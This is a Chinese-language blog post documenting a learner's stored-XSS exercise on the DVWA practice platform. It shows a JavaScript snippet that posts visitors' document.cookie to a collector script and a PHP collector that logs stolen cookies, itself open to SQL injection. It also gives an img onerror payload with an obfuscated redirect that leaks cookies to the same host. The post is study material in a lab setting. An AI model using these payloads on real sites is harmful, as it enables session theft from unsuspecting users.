信息安全之路-web-xss学习(2)

存储型xss漏洞
该漏洞会将执行命令写入数据库,每一个用户在该页面停留时,都会被动执行该js命令,从而被盗取cookie

1.DVWA平台验证-low等级

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

细节处理:
isset函数 — 检测变量是否已设置并且非 NULL
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
mysqli_real_escape_string函数,将字符串转换成sql中的字符串储存

所以猜想以上的php代码应该是将用户输入进行去空格,注释,特殊字符处理后,转入数据库存储,其中? a :b是一个选择表达式,大概是判断该语句是否是一个对象,然后存入数组,之后判断其总形式是否正确,否则弹出错误。

其中对输入内容未做任何过滤,有两个输入点,分别是message和name,name输入长度不超过6,可以在表单页面修改,如下

构造js语句,在留言板留言,该语句就会被写入数据库,如下


构造js文件语句如下

var url = "http://www.dvwa.com/dvwaxss/steal0.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");//设置请求头
ajax.send(postStr);

关于该js代码:
主要有两个对于我来说是未知的,来自百度知道的解答

应该是构建了这么一个ajax的请求对象,向后端提交数据
上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://www.dvwa.com/dvwaxss/steal0.php,也就是当前目录下的steal0.php。

php文件代码
如下,连接数据库后,执行插入命令,将从页面接收到的postStr数据进行判断验证并储存

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "获取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

此时每当有用户打开留言板时,就会触发上述插入的xss语句,在后台就会执行跳转,首先是js文件中构建ajax对象,获取当前用户cookie,并将该cookie发送到和cookie.js同目录下的steal0.php下,最终用户的cookie便被窃取,其中ajax技术为异步数据处理,使得整个页面部分刷新,从视觉效果上页面并无变化,但实际上cookie已被悄悄转发

实例如下:
另一个新用户登录并在此输入

cookie已经到窃取cookie端的服务器的数据库中

事实上,即使没有输入,当用户在该页面时,cookie已被获取,这就是存储型xss

补充

high等级
后面的回顾中遇到被正则匹配的存储型xss代码,考虑借用img事件直接跳转到url地址栏如下,但数据库中可能存储不下这么长的编码,要想办法缩减:

<img src=# onerror=(locat&#105;on.href="http://www.dvwa.com/dvwaxss/steal0.php?data="+document.cookie)>


其中在对代码的调试时花费了很多时间:
最终确定调试方法(大型程序一般用软件debugger等跑)

  • php:由于现在接触较少,就通过浏览器端显示效果+echo输出判断
  • js:同上,利用浏览器控制台功能+浏览器内部自带调试功能调试js文件
posted @ 2018-10-23 20:21  qianxinggz  阅读(225)  评论(0编辑  收藏  举报